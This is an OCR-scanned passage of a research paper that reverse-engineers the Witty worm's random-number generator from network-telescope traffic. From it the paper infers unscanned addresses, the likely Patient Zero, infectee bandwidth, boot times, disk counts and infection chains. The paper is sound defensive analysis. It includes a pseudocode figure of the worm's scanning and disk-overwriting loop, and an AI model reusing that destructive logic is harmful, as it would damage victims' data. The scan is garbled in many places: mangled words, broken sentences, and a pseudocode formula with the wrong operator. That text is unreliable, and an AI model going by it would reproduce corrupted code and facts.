random numbers, including Witty’s, do not directly expose
any X;, but rather extract a subset of X;’s bits and inter-
mingle them with bits from additionally generated pseudo-
random numbers, as detailed below.

@

3 Overview of our analysis

The first step in our analysis, covered in § 4, is to develop
a way to uncover the state of an infectee’s PRNG. It turns
out that we can do so from the observation of just a sin-
gle packet sent by the infectee and seen at the telescope.
(Note, however, that if recovering the state required observ-
ing consecutive packets, we would likely often still be able
to do so: while the telescopes record on average only one in
256 packets transmitted by an infectee, occasionally — i.e.,
roughly one time out of 256 — they will happen to record
consecutive packets.)

An interesting fact revealed by careful inspection of the
use of pseudo-random numbers by the Witty worm is that
the worm does not maném\s‘;aﬂ_/,mmi’-_ﬂl.ﬂddress
space of the Internet, in spite of using a correct implemen-
tation of the PRNG. This analysis also reveals the identity
of a special host that very likely was used to start the worm.

Once we have cialability to determine the state of
an infectee’s PRNG, we can use this state to reproduce the
worm’s exact actions, which then allows us to compare the
resulting generated packets with the actual packets seen at
the telescope. This comparison yields a wealth of informa-
tion about the host generating the packets and the network
the packets traversed. First, we can determine the access
bandwidth of the infectee, i.e., the capacity of the link to
which its network interface connects. In addition; given
this estimate we can explore signifi cant flaws in the tele-
scope observations, namely packet losses due to the fi nite
bandwidth of the telescope’s inbound link. These losses
cause a/systematic underestimation of infectee scan rates,
but we design a mechanism to correct for this bias by cali-
brating against our measurements of the access bandwidth.
We also highlight the impact of network location of tele-
scopes on the observations they collect (§ 5).

We next observe that choosing a random disk (line 3 of
Figure 1) consumes another pseudo-random number in ad-




rand(){
# Note that 32-bit integers obviate the need for
# a modulus operation here.
X = X % 214013 + 2531011,
return X; }
srand(seed){ X = seed; }
main(){
srand(get_tick_count());
for (i=0; i < 20,000; ++i)
dest-ip + randQ)p...15)|[randQyo...15);
dest_port +— rand()(o...15];
packetsize «— 768+rand()(o...5)
packetcontents «— fop of stack;
sendto();
if(open(physicaldisk, rand()[13...15)))
overwrite_block(rand()g...14) ||0x4e20);
goto 1;
clse goto 2; }

CoY®ENOME LN

Figure 2: Pseudocode of the Witty worm

dition to those consumed by each transmitted packet. Ob-
serving such a discontinuity in the sequence of random
numbers in packets from an infectee flags an attempted disk
write and a potential reseeding of the infectee’s PRNG. In
§ 6 we develop a detailed mechanism to detect the value
of the seed at each such reseeding. As the seed at line 1
of Fig. 1 is set to the system time in msec since boot up,
this mechanism allows us to estimate the boot time of in-
dividual infectees just by looking at the sequence of occa-
sional packets received at the telescope. Once we know
the PRNG’s seed, we can precisely determine the random
numbers it generates to synthesize the next 20,000 packets,
and also the three-bit random number it uses next time to
pick a physical disk to open. We can additionally deduce
the success or failure of this open system call by whether
the PRNG state for subsequent packets from the same in-
fectee follow in the same series or not. Thus, this analysis
reveals the number of physical disks on the infectee.

Lastly, knowledge of the seeds also provides access to
the complete list of packets sent by the infectee. This al-
lows us to infer infector-infectee relationships during the
worm’s propagation.

4 Analysis of Witty’s PRNG

The fi rst step in our analysis is to examine a disassembly of
the binary code of the Witty worm [9]. Security researchers
typically publish such disassemblies immediately after the
release of a worm in an attempt to understand the worm’s
behavior and devise suitable countermeasures. Figure 2
shows the detailed pseudocode of the Witty worm as de-
rived from one such disassembly [9]. The rand() function
implements the Linear Congruential PRNG as discussed in
§ 2. In the rest of this section, we use the knowledge of the
pseudocode to develop a technique for deducing the state
of the PRNG at an infectee from any single packet sent by
it. We also describe how as a consequence of the specifi ¢

manner in which Witty uses the pseudo-random numbers,
the worm fails to scan the entire IP address space, and also
reveals the identity of Patient Zero.

Breaking the state of the PRNG at the infectee. The
Witty worm constructs ‘tandom” destination IP addresses
by concatenating the top 16 bifs of two consecutive pseudo
random numbers generated by its PRNG. In our notation,
X{o.-15) represents the top 16 bits of the 32 bit number X,
with bit 0 being the most signifi cant. The destination port
number is constructed by taking the top 16 bits of the next
(third) random number. The packet size? itself is chosen
by adding the top 9 bits of a fourth umber to 768.
Thus, each packéﬁ;-éﬁt by the Witty worm contains bits
from four consecutive random numbers, corresponding to
lines 3,4 and 5 in Fig. 2. If all 32 bits of any of these num-
bers were known, it would completely specify the state of
the PRNG. But since only some of the bits from each of
these numbers is known, we need to design a mechanism
to retrieve all 32 bits of one of these numbers from the par-
tial information contained in each packet.

To do so, if the fi rst call to rand() returns X;, then:

destiip =
dest_port =

Xi,[0-15] || Xi41,[0.-.15]
Xit2,00--15]

where || is the concatenation operation. Now, we know
that X; and X, are related by Eqn 1, and so are X;;,
and X;o. Furthermore, there are only 65,536 (2'6) possi-
bilities for the lower 16 bits of X;, and only one of them
is such that when used with X; jg...15) (available from the
packet) the next two numbers generated by Eqn 1 have the
same top 16 bits as X;1; [o...15) and X4 [o...15], which are
also observed in the received packet. In other words, there
is only one 16-bit number Y that satisfi es the following two
equations simultaneously:

X,-+1,[0...15] == (Xi,[o...15]||Y *a mod m)[o...15]

Xiyz 015 = ((Xio-15)|[Y*a mod m)xa mod m)j..

For each of the 2!° possible values of Y, verifying the fi rst
equality takes one addition and one multiplication.> Thus

trying all 2!€ possibilities is fairly inexpensive. For the

small number of possible values of Y that satisfy the fi rst
equation, we try the second equation, and the value Y* that

satisfi es both the equations gives us the lower sixteen bits of
Xi (i.e., Xip6...311 = Y*). In our experiments, we found

that on the average about two of the 216 possible values sat-

isfy the fi rst equation, but there was always a unique value
of Y™ that satisfi ed both the equations.

Why Witty fails to scan the entire address space. The
first and somewhat surprising outcome from investigating
how Witty constructs random destination addresses is the
observation that Witty fails to scan the entire IP address
space. This means that, while Wi €ad at a very high
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speed (infecting 12,000 hosts in 75 minutes), due to a subtle
error in its use of pseudo-random numbers about 10% of
vulnerable hosts were never infected with the worm.

To understand this flaw in full detail, we first visit the
motivation for the use of only the top 16 bits of the 32
bit results returned by Witty’s LC PRNG. This was rec-
ommended by Knuth [8], who showed that the high order
bits are “more fandom " tham The Tower order bits returned
by the LC PRNG. Indeed, Tor this very reason, several im-
plementations of the rand() function, including the default
C library of Windows and SunOS, return a 15 bit number,
even though their underlying LC PRNG uses the same pa-
rameters as the Witty worm and produces 32 bit numbers.

However, this advice was taken out of context by the
author of the Witty worm. Knuth’s advice applies when
uniform randomness is the desired property, and is valid
only when a small number of random bits are needed. For
a worm trying to maximize the number of infected hosts,
one reason for using random numbers while selecting des-
tinations is to avoid detection by intrusion detection sys-
tems that readily detect sequential scans. A second reason
is to maintain independence between the portions of the
address-space scanned by individual infectees. Neither of
these reasons actually requires the kind of “good random-
ness”provided by following Knuth’s advice of picking only
the higher order bits.

As discussed in § 2, for specifi ¢ values of the parameters
a,band m, the LC PRNG is a permutation PRNG that gen-
erates a permutation of all integers in the range 0 to m — 1.
By the above defi nition, if the Witty worm were to use the
entire 32 bits of a single output of its LC PRNG as a desti-
nation address, it would eventually generate each possible
32-bit number, hence successfully scanning the entire IP
address space. (This would also of course make it trivial
to recover the PRNG state.) However, the worm’s author
chose to use the concatenation of the top 16 bits of two
consecutive random numbers from its PRNG. With this ac-
tion, the guarantee that each possible 32-bit number will
be generated is lost. In other words, there is no certainty
that the set of 32-bit numbers generated in this manner will
include all integers in the set [0,23% — 1].

We enumerated Witty’s entire ‘orbit” and found that
there are 431,554,560 32-bit numbers that can never be
generated. This corresponds to 10.05% of the IP address
space that was never scanned by Witty. On further inves-
tigation, we found these unscanned addresses to be fairly
uniformly distributed over the 32-bit address space of IPv4.
Hence, it is reasonable to assume that approximately the
same fraction of the populated IP address space was missed
by Witty. In other words, even though the portions of
IP address space that are actually used (populated) are
highly clustered, because the addresses that Witty misses
are uniformly distributed over the space of 32-bit integers,
it missed roughly the same fraction of address among the
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Figure 3: Growth curves for victims whose addresses were

scanned once per orbit, twice per orbit, or not at all.

set of IP addresses in actual use.

Observing that Witty does not visit some addresses at
all, one might ask whether it visits some addresses more
frequently than others. Stated more formally, given that the
period of Witty’s PRNG is 232, it must generate 232 unique
(X, Xi1) pairs, from which it constructs 232 32-bit desti-
nation IP addresses. Since this set of 232 addresses does not
contain the 431,554,560 addresses missed by Witty, it must
contain some repetitions. What is the nature of these rep-
etitions? Interestingly, there are exactly 431,554,560 other
32-bit numbers that occur twice in this set, and no 32-bit
numbers that occur three or more times. This is surprising
because, in general, in lieu of the 431,554,560 missed num-
bers, one would expect some number to be visited twice,
others to be visited thrice and so on. However, the peculiar
structure of the sequence generated by the LC PRNG with
specifi ¢ parameter values created the situation that exactly
the same number of other addresses were visited twice and
none were visited more frequently.

During the first 75 minutes of the release of the Witty
worm, the CAIDA telescope saw 12,451 unique IP ad-
dresses as infected. Following the above discussion, we
classifi ed these addresses into three classes. There were
10,638 (85.4%) addresses that were scanned just once in
an orbit, i.e., addresses that experienced a normal scan rate.
Another 1,409 addresses (11.3%) were scanned twice in
an orbit, hence experiencing twice the normal growth rate.
A third class of 404 (3.2%) addresses belonged to the set
of addresses never scanned by the worm. At first blush
one might wonder how these latter could possibly appear,
but we can explain their presence as reflecting inclusion in
an initial “hit list” (see below), operating in promiscuous
mode, or aliasing due to multi-homing, NAT or DHCP.

Figure 3 compares the growth curves for the three classes
of addresses. Notice how the worm spreads faster among
the population of machines that experience double the nor-
mal scan rate. 1,000 sec from its release, Witty had infected



half of the doubly-scanned addresses that it would infect in

the fi rst 75 min. On the other hand, in the normally-scanned
population, it had only managed to infect about a third of
the total victims that it would infect in 75 min. Later in the

hour, the curve for the doubly-scanned addresses is flat-

ter than that for the normally-scanned ones, indicating that

most of the victims in the doubly-scanned population were

already infected at that point.

The curve for infectees whose source address was never
scanned by Witty is particularly interesting. Twelve of the
never-scanned systems appear in the fi rst 10 seconds of the
worm’s propagation, very strongly suggesting that they are
part of an initial hit-list. This explains the early jump in
the plot: it’s not that such machines are overrepresented
in the hit-list, rather they are underrepresented in the total
infected population, making the hit-list propagation more
signifi cant for this population.

Another class of never-scanned infectees are those pas-
sively monitoring a network link. Because these operate
in promiscuous mode, their ‘tross section” for becoming
infected is magnifi ed by the address range routed over the
link. On average, these then will become infected much
more rapidly than normal over even doubly-scanned hosts.
We speculate that these infectees constitute the remainder
of the early rise in the appearance of never-scanned sys-
tems. Later, the growth rate of the never-scanned systems
substantially slows, lagging even the single-scanned ad-
dresses. Likely these remaining systems reflect infrequent
aliasing due to multihoming, NAT, or DHCP.

Identifying Patient Zero. Along with ‘Can all ad-
dresses be reached by scans?”, another question to ask is
‘Do all sources indeed travel on the PRNG orbit?” Sur-
prisingly, the answer is No. There is a single Witty source
that consistentlyfails to follow the orbit. Further inspec-
tion reveals thamrates addresses
of the form A.B.A.B rather than A.B.C.D, (ii) does not
randomize the packet size, and (7ii) is present near the very
beginning of the trace, but not before the worm itself begins
propagating. That the source failstofellew.the orbit clearly
indicates that it is running different code than do all the oth-
ers; that it does not appear prior to the worm’s onset indi-
cates that it is not a background scanner from earlier test-
ing or probing (indeed, it sends valid Witty packets which
could trigger an infection); and that it sends to sources of a
limited form suggests a bug in its structure that went unno-
ticed due to a lack of testing of this particular Witty variant.

‘We argue that these peculiarities add up to a strong like-
lihood that this unique host reflects Patient Zero, the sys-
tem used by the attacker to seed the worm initially. Patient
Zero was not running the complete Witty worm but rather
a (not fully tested) tool used to launch the worm. To our
knowledge, this represents the first time that Patient Zero
has been identifi ed for a major worm outbreak? We have
conveyed the host’s IP address (which corresponds to a Eu-

ropean retail ISP) to law enforcement.

If all Patient Zero did was send packets of the form
A.B.A.B as we observed, then the worm would not have
spread, as we detected no infectees with such addresses.
However, as developed both above in discussing Figure 3
and later in § 6, the evidence is compelling that Patient Zero
fi rst worked through a ‘hit list” of known-vulnerable hosts
before settling into its ineffective scanning pattern.

5 Bandwidth measurements

An important use of network telescopes lies in inferring the
scanning rate of a worm by extrapolating from the observed
packets rates from individual sources. In this section, we
develop a technique based on our analysis of Witty’s PRNG
to estimate the access bandwidth of individual infectees.
We then identify an obvious source of systematic error in
extrapolation based techniques, namely the bottleneck at
the telescope’s inbound link, and suggest a solution to cor-
rect this error.

Estimating Infectee Access Bandwidth. The access
bandwidth of the population of infected machines is an im-
portant variable in the dynamics of the spread of a worm.
Using the ability to deduce the state of the PRNG at an in-
fectee, we can infer this quantity, as follows. The Witty
worm uses the sendto system call, which is a blocking
system call by default in Windows: the call will not return
till the packet has been successfully written to the buffer of
the network interface. Thus, no worm packets are dropped
either in the kernel or in the buffer of the network interface.
But the network interface can clear out its buffer at most
at its transmission speed. Thus, the use of blocking sys-
tem calls indirectly clocks the rate of packet generation of
the Witty worm to match the maximum transmission band-
width of the network interface on the infectee.

We estimate the access bandwidth of an infectee as fol-
lows. Let F; and P; be two packets from the same in-
fectee, received at the telescope at time ¢; and ¢; respec-
tively. Using the mechanism developed in § 4 we can
deduce X; and X, the state of the PRNG at the sender
when the two respective packets were sent. Now, we can
simulate the LC PRNG with an initial state of X; and re-
peatedly apply Eqn 1 till the state advances to X;. The
number of times Eqn 1 is applied to get from X; to X is
the value of j — 4. Since it takes 4 cranks of the PRNG
to construct each packet (lines 3-5, in Fig. 2), the to-
tal number of packets between P; and P; is (§ — ©)/4.
Thus the access bandwidth of the infectee is approximately
average_packetsizesx (j—1)/4%1/(t;—1;). While we can
compute it more precisely, since reproducing the PRNG se-
quence lets us extract the exact size of each intervening
packet sent, for convenience we will often use the average
payload size (1070 bytes including UDP, IP and Ethernet
headers). Thus, the transmission rate can be computed as

s
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Figure 5: Comparison of estimated access bandwidth using
data from two telescopes.
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Figure 4 shows the estimates of access bandwidth of in-

fectees® that appeared at the CAIDA telescope from 05:01
AM to 06:01 AM UTC (i.e., starting about 15 min after
the worm’s release). The z-axis shows the estimated ac-
cess bandwidth in bps on log scale, and the y-axis shows
the rank of each infectee in increasing order. It is notable
in the fi gure that about 25% of the infectees have an ac-
cess bandwidth of 10 Mbps while about 50% have a band-
width of 100 Mbps. This corresponds well with the popular
workstafion confi gurations connected to enterprise LANs
(a likely description of a machine running the ISS software
vulnerable to Witty), or to home machines that include an
Ethernet segment connecting to a cable or DSL modem.
We use the second set of observations, collected inde-
pendently at the Wisconsin telescope (located far from the
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CAIDA telescope), to test the accuracy of our estimation,
as shown in Figure 5. Each point in the scatter plot rep-
resents a source observed in both datasets, with its z and
y coordinates reflecting the estimates from the Wisconsin
and CAIDA observations, respectively. Most points are lo-
cated very close to the y = z line, signifying close agree-
ment. The small number of points (about 1%) that are sig-
nifi cantly far from the y = x line merit further investiga-
tion. We believe these reflect NAT effects invalidating our
inferences concerning the amount of data a ‘Single”source
sends during a given interval.

Extrapolation-based estimation of effective band-
width. Previous analyses of telescope data (e.g., [18])
used a simple extrapolation-based technique to estimate the
bandwidth of the infectees. The reasoning is that given a
telescope captures a /8 address block, it should see about
1/256 of the worm traffi c. Thus, after computing the pack-
ets per second from individual infectees, one can extrap-
olate this observation by multiplying by 256 to estimate
the total packets sent by the infectee in the correspond-
ing period. Multiplying again by the average packet size
(1070 bytes) gives the extrapolation-based estimate of the
bandwidth of the infectee. Notice that this technique is not
measuring the access bandwidth of the infectee, but rather
the effective bandwidth, i.e., the rate at which packets from
the infectee are actually delivered across the network.

Figure 6 shows the estimated bandwidth of the same
population of infectees, computed using the extrapolation
technique. The effective bandwidth so computed is signif-
icantly lower than the access bandwidth of the entire pop-
ulation. To explore this further, we draw a scatter-plot of
the estimates using both techniques in Fig. 7. Each point
corresponds to the PRNG-estimated access bandwidth (z
axis) and extrapolation-based effective bandwidth (y axis).
The modes at 10 and 100 Mbps in Fig. 4 manifest as clus-
ters of points near the lines z = 107 and z = 108, re-
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Figure 7: Scatter-plot of estimated bandwidth using the two
techniques.

spectively. As expected, all points lie below the diagonal,
indicating that the effective bandwidth never exceeds the
access bandwidth, and is often lower by a signifi cant factor.
During infections of bandwidth-limited worms, i.e., worms
such as Witty that send fast enough to potentially consume
all of the infectee’s bandwidth, mild to severe congestion,
engendering moderate to signifi cant packet losses, is likely
to occur in various portions of the network.

Another possible reason for observing diminished effec-
tive bandwidth is multiple infectees sharing a bottleneck,
most likely because they reside within the same subnet and
contend for a common uplink. Indeed, this effect is no-
ticeable at /16 granularity. That is, sources exhibiting very
high loss rates (effective bandwidth < 10% of access band-
width) are signifi cantly more likely to reside in /16 prefi xes
that include other infectees, than are sources with lower
loss rates (effective > 50% access). For example, only 20%
of the sources exhibiting high loss reside alone in their own
/16, while 50% of those exhibiting lower loss do.

Telescope Fidelity. An important but easy-to-miss fea-
ture of Fig. 7 is that the upper envelope of the points is
not the line y = z but rather y ~ 0.7z, which shows
up as the upper envelope of the scatter plot lying paral-
lel to, but slightly below, the diagonal. This implies either
a loss rate of nearly 30% for even the best connected in-
fectees, or a systematic error in the observations. Further
investigation immediately reveals the cause of the system-
atic error, namely congestion on the inbound link of the
telescope. Figure 8 plots the packets received during one-
second windows against time from the release of the worm.
There is a clear ramp-up in aggregate packet rate during the
initial 800 seconds after which it settles at approximately
11,000 pkts/sec. For an average packet size of 1,070 bytes,
a rate of 11,000 pkts/sec corresponds to 95 Mbps, nearly
the entire inbound bandwidth of 100 Mbps of the CAIDA

Packets per second
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Figure 8: Aggregate worm traffi c in pkts/sec as actually
logged at the telescope.
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Figure 9: Comparison of effective bandwidth as estimated
at the two telescopes.

telescope at that time.5

Fig. 8 suggests that the telescope may not have suffered
any signifi cant losses in the fi rst 800 seconds of the spread
of the worm. We verifi ed this using a scatter-plot similar to
Fig. 7, but only for data collected in the fi rst 600 seconds of
the infection. In that plot, omitted here due to lack of space,
the upper envelope is indeed y = z, indicating that the best
connected infectees were able to send packets unimpeded
across the Internet, as fast as they could generate them.

A key point here is that our ability to determine access
bandwidth allows us to quantify the 30% distortion’ at the
telescope due to its limited capacity. In the absence of this
fi ne-grained analysis, we would have been limited to not-
ing that the telescope saturated, but without knowing how
much we were therefore missing.

Figure 9 shows a scatter-plot of the estimates of effec-
tive bandwidth as estimated from the observations at the

MAX
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CAIDA > Wisc.*1.05 || Wisc. >CAIDA*1.05

# Domains TLD # Domains TLD
53 .edu 64 .net
17 .net 35 .com
7 .Jp 9 .edu
5 .nl 7 .cn
5 .com 5 %ol
5 .ca 4 .ru
3 .tw 3 jp
3 .gov ) .gov
25 other 19 other

Table 1: Domains with divergent estimates of effective
bandwidth.

two telescopes. We might expect these to agree, with most
points lying close to the y = z line, other than perhaps for
differing losses due to saturation at the telescopes them-
selves, for which we can correct. Instead, we find two
major clusters that lie approximately along y = 1.4z and
y = x/1.2. These lie parallel to the y = z line due to the
logscale on both axes. We see a smaller third cluster be-
low the y = z line, too. These clusters indicate systematic
divergence in the telescope observations, and not simply a
case of one telescope suffering more saturation losses than
the other, which would result in a single line either above
or below y = .

To analyze this effect, we took all of the sources with
an effective bandwidth estimate from both telescopes of
more than 10 Mbps. We resolved each of these to domain
names via reverse DNS lookups, taking the domain of the
responding nameserver if no PTR record existed. We then
selected a representative for each of the unique second-
level domains present among these, totaling 900. Of these,
only 29 domains had estimates at the two telescopes that
agreed within 5% after correcting for systematic telescope
loss. For 423 domains, the corrected estimates at CAIDA
exceeded those at Wisconsin by 5% or more, while the
remaining 448 had estimates at Wisconsin that exceeded
CAIDA’s by 5% or more.

Table 1 lists the top-level domains for the unique second-
level domains that demonstrated > 5% divergence in es-
timated effective bandwidth. Owing to its connection to
Internet-2, the CAIDA telescope saw packets from .edu
with signifi cantly fewer losses than the Wisconsin tele-
scope, which in turn had a better reachability from hosts in
the .net and .com domains. Clearly, telescopes are not
‘ideal” devices, with perfectly balanced connectivity to the
rest of the Internet, as implicitly assumed by extrapolation-
based techniques. Rather, what a telescope sees during an
event of large enough volume to saturate high-capacity In-
ternet links is dictated by its specifi ¢ location on the Inter-
net topology. This fi nding complements that of [4], which
found that the (low-volume) background radiation seen at
different telescopes likewise varies signifi cantly with loca-

tion, beyond just the bias of some malware to prefer nearby
addresses when scanning.

6 Deducing the seed

Cracking the seeds — System uptime. We now de-
scribe how we can use the telescope observations to de-
duce the exact values of the seeds used to (re)initialize
Witty’s PRNG. Recall from Fig. 2 that the Witty worim at-
tempts to open a disk after every 20,000 packets, and re-
seeds its PRNG on success. To get a seed with reason-
able local entropy, Witty uses the value returned by the
Get_Tick_Count system call, a counter set to zero at
boot time and incremented every millisecond——

In § 4 we have developed the capability to reverse-
engineer the state of the PRNG at an infectee from packets
received at the telescope. Additionally, Eqns 1 and 2 give
us the ability to crank the PRNG forwards and backwards
to determine the state at preceding and successive packets.
Now, for a packet received at the telescope, if we could
identify the precise number of calls to the function rand
between the reseeding of the PRNG and the gefieration of
the packet, simply cranking the PRNG backwards the same
number of steps would reveal the value of the seed. The dif-
fi culty here is that for a given packet we do not know which
‘generation”it is since the PRNG was seeded. (Recall that
we only see a few of every thousand packets sent.) We thus
have to resort to a more circuitous technique.

We split the description of our approach into two parts:
a technique for identifying a small range in the orbit (per-
mutation sequence) of the PRNG where the seed must lie,
and a geometric algorithm for fi nding the seeds from this
candidate set.

Identifying a limited range within which the seed
must lie. Figure 10 shows a graphical view of our tech-
nique for restricting the range where the seed can poten-
tially lie. Figure 10(a) shows the sequence of packets as
generated at the infectee. The straight line at the top of

the fi gure represents the permutation-space of the PRNG,

i.e., the sequence of numbers Xg, X;, - , Xo32_; as gen-
erated by the PRNG. The second horizontal line in the mid-
dle of the fi gure represents a small section of this sequence,
blown-up to show the individual numbers in the sequence
as ticks on the horizontal line. Notice how each packet
consumes exactly four random numbers, represented by the
small arcs straddling four ticks.

Only a small fraction of packets generated at the infectee
reach the telescope. Figure 10(b) shows four such pack-
ets. By cranking forward from the PRNG’s state at the
fi rst packet until the PRNG reaches the state at the second
packet, we can determine the precise number of calls to the
rand function in the intervening period. In other words,
if we start from the state corresponding to the fi rst packet
and apply Eqn 1 repeatedly, we will eventually (though see
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(a) Sequence of packets gencrated at the
infectee.

(b) Packets scen at the telescope. Notice
how packets immediately before or after a
failed disk-write are separated by 4z + 1

(c) Translating these special intervals back by
multiples of 20,000 gives bounds on where the
seed can lie.

cranks of the PRNG rather than 4z,

Figure 10: Restricting the range where potential seeds can lie.

below) reach the state corresponding to the second packet,
and counting the number of times Eqn 1 was applied gives
us the precise number of random numbers generated be-
tween the departure of these two packets from the infectee.
Note that since each packet consumes four random num-
bers (the inner loop of lines 2-7 in Fig. 2), the number of
random numbers will be a multiple of four.

However, sometimes we find the state for a packet re-
ceived at the telescope does not lie within a reasonable
number of steps (300,000 calls to the PRNG) from the state
of the preceding packet from the same infectee. This signi-
fi es a potential reseeding event: the worm fi nished its batch
0f 20,000 packets and attempted to open a disk to overwrite
a random block. Recall that there are two possibilities: the
random disk picked by the worm exists, in which case it
overwrites a random block and (regardless of the success
of that attempted overwrite) reseeds the PRNG, jumping
to an arbitrary location in the permutation space (control
flowing through lines 8 +9—10—1—2 in Fig. 2); or the
disk does not exist, in which case the worm continues for
another 20,000 packets without reseeding (control flowing
through lines 8—11—2 in Fig. 2). Note that in either case
the worm consumes a random number in picking the disk.

Thus, every time the worm fi nishes a batch of 20,000
packets, we will see a discontinuity in the usual pattern of
4z random numbers between observed packets. We will
instead either find that the packets correspond to 4z + 1
random numbers between them (disk open failed, no re-
seeding); or that they have no discernible correspondence
(disk open succeeded, PRNG reseeded and now generating
from a different point in the permutation space).

This gives us the ability to identify intervals within
which ecither failed disk writes occurred, or reseeding
events occurred. Consider the interval straddled by the fi rst
failed disk write after a successful reseeding. Since the
worm attempts disk writes every 20,000 packets, this inter-
val translated back by 20,000 packets (80,000 calls to the

PRNG) must straddle the seed. In other words, the begin-
ning of this special interval must lie no more than 20,000
packets away from the reseeding event, and its end must lie
no less than that distance away. This gives us upper and
lower bounds on where the reseeding must have occurred.
A key point is that these bounds are in addition to the
bounds we obtain from observing that the worm reseeded.
Similarly, if the worm fails at its next disk write attempt
too, the interval straddling that failed write, when trans-
lated backwards by 40,000 packets (160,000 calls to the
PRNG), gives us another pair of lower and upper bounds
on where the seed must lie. Continuing this chain of rea-
soning, we can fi nd multiple upper and lower bounds. We
then take the max of all lower bounds and the min of all
upper bounds to get the tightest bounds, per Figure 10(c).

A geometric algorithm to detect the seeds. Given this
procedure, for each reseeding event we can find a limited
range of potential in the permutation space wherein the new
seed must lie. (I.e., the possible seeds are consecutive over
a range in the permutation space of the consecutive 32-bit
random numbers as produced by the LC PRNG; they are
not consecutive 32-bit integers.) Note, however, that this
may still include hundreds or thousands of candidates, scat-
tered over the full range of 32-bit integers.

Which is the correct one? We proceed by leveraging
two key points: (i) for most sources we can fi nd numer-
ous reseeding events, and (7i) the actual seeds at each event
are strongly related to one another by the amount of time
that elapsed between the events, since the seeds are clock
readings. Regarding this second point, recall that the seeds
are read off a counter that tracks the number of millisec-
onds since system boot-up. Clearly, this value increases
linearly with time. So if we observe two reseeding events
with timestamps (at the telescope) of ¢; and t5, with cor-
responding seeds S; and S», then because clocks progress
linearly with time, (S2 — S1) = (t2 — t1). In other words,
if the infectee reseeded twice, then the value of the seeds
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must differ by approximately the same amount as the differ-
ence in milliseconds in the timestamps of the two packets
seen immediately after these reseedings at the telescope.
Extending this reasoning to k reseeding events, we get
(S; —Si) = (t; — ti), V4,7 : 1 < 4,5 < k. This implies
that the k points (¢;, S;) should (approximately) lie along
a straight line with slope 1 (angle of 45°) when plotting
potential seed value against time.

We now describe a geometric algorithm to detect such
a set of points in a 2-dimensional plane. The key obser-
vation is that when k points lie close to a straight line of
a given slope, then looking from any one of these points
along that slope, the remaining points should appear clus-
tered in a very narrow band. More formally, if we project
an angular beam of width § from any one of these points,
then the remaining points should lie within the beam, for
reasonably small values of 4. On the other hand, other, ran-
domly scattered points on the plane will see a very small
number of other points in the beam projected from them.

The algorithm follows directly from this observation. It
proceeds in iterations. Within an iteration, we project a
beam of width § = arctan0.1 =~ 0.1 along the 45° line
from each point in the plane. The point is assigned a score
equal to the number of other points that lie in its beam. Ac-
tual seeds are likely to get a high score because they would
all lie roughly along a 45° line. At the end of the iteration,
all points with a score smaller than some threshold (say
k/2) are discarded. Repeating this process in subsequent
iterations quickly eliminates all but the k& seeds, which keep
supporting high scores for each other in all iterations.

We fi nd this algorithm highly effective given enough re-
seeding events. Figure 11 presents the results of the com-
putation of system uptime of 784 machines in the infectee
population. These infectees were chosen from the set that
contributed enough packets to allow us to use our mech-
anism for estimating the seed. Since the counter used by
Witty to reseed its PRNG is only 32 bits wide, it will wrap-
around every 232 milliseconds, Wthh is approximately
49.7 days. The results could potenhally be distorted due
to this effect (but see below).

There is a clear domination of short-lived machines, with
approximately 47% having uptimes of less than fi ve days.
On the other hand, there are just fi ve machines that had an

uptime of more than 40 days. The sharp drop-off above
40 days leads us to conclude that the effects due to the
wrapping-around of the counter are negligible.

The highest number of machines were booted on the
same day as the spread of the worm. There are prominent
troughs during the weekends — recall that the worm was
released on a Friday evening Pacifi ¢ Time, so the nearest
weekend had passed 5 days previously — and heightened
activity during the working days.

One feature that stands out is the presence of two modes,
one at 29 days and the second at 36/37 days. On further in-
vestigation, we found that the machines in the fi rst mode
all belonged to a set of 135 infectees from the same /16
address block, and traceroutes revealed they were situated
at a single US military installation. Similarly, machines in
the second mode belonged to a group of 81 infectees from
another /16 address block, belonging to an educational in-
stitution. However, while machines in the second group ap-
peared at the telescope one-by-one throughout the infection
period, 110 of the 135 machines in the fi rst group appeared
at the telescope within 10 seconds of Witty’s onset. Since
such a fast spread is not feasible by random scanning of the
address space, the authors of [18] concluded that these ma-
chines were either part of a hit-list or were already compro-
mised and under the control of the attacker. Because we can
fi t the actions of these infectees with running the full Witty
code, including PRNG reseeding patterns that match the
process of overwriting disk blocks, this provides evidence
that these machines were not specially controlled by the at-
tacker (unlike the Patient Zero machine), and thus we con-
clude that they likely constitute a hit-list. (We investigated
an alternate explanation that instead these machines were
passively monitoring large address regions and hence were
infected much more quickly, but can discount this possi-
bility because a ‘lineage”analysis reveals that a signifi cant
number of the machines did not receive any infection pack-
ets on even their entire local /16 prior to their own scanning
activity arriving at the telescope. Additionally, these sys-
tems’ IP addresses also suggest local monitors, rather than
a collection of global monitors on a large address space.)
Returning then to the fact that these machines were all re-
booted exactly 29 days before the onset of the worm, we
speculate that the reboot was due to a facility-wide system
upgrade; perhaps the installation of system software such
as Microsoft updates (a critical update had been released
on Feb. 10, about 10 days before the simultaneous system
reboots), or perhaps the installation of the vulnerable ISS
products themselves. We might then speculate that the at-
tacker knew about the ISS installation at the site (thus en-
abling them to construct a hit-list), which, along with the
attacker’s rapid construction of the worm indicating they
likely knew about the vulnerability in advance [21], sug-
gests that the attacker was an ISS “insider.”

Number of disks. Once we can recover the seed used at
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the beginning of a sequence of packets, we can use its value
as an anchor to mark off the precise subsequent actions of
the worm. Recall from Fig. 2 that the worm generates ex-
actly 20,000 packets in its inner loop, using 80,000 random
numbers in the process. After exiting the inner loop, the
worm uses three bits from the next random number to de-
cide which physical disk it will attempt to open. Starting
from the seed, this is exactly the 80,001th number in the
sequence generated by the PRNG. Thus, knowledge of the
seed tells us exactly which disk the worm attempts to open.
Furthermore, as discussed above we can tell whether this
attempt succeeded based on whether the worm reseeds af-
ter the attempt. We can therefore estimate the number of
disks on the infectee, based on which of the attempts for
drives in the range 0 to 7 lead to a successful return from
the open system call. Table 2 shows the number of disks
for 100 infectees, calculated using this approach. The ma-
jority of infectees had just one or two disks, while we fi nd
a few with up to fi ve disks. Since the installation of end-
system fi rewall software was a prerequisite for infection by
Witty, the infectee population is more likely to contain pro-
duction servers with multiple disks.

Exploration of infection graph. Knowledge of the pre-
cise seeds allows us to reconstruct the complete list of pack-
ets sent by each infectee. Additionally, the large size of our
telescope allows us to detect an infectee within the fi rst few
seconds (few hundred packets) of its infection. Therefore
if an infectee is fi rst seen at a time T, we can inspect the list
of packets sent by all other infectees active within a short
preceding interval, say (T — 10 sec, T'), to see which sent a
packet to the new infectee, and thus is the infectee’s likely
‘infector.” to select the most likely ‘infector”.

The probability of more than one infectee sending a
worm packet to the same new infectee at the time of its
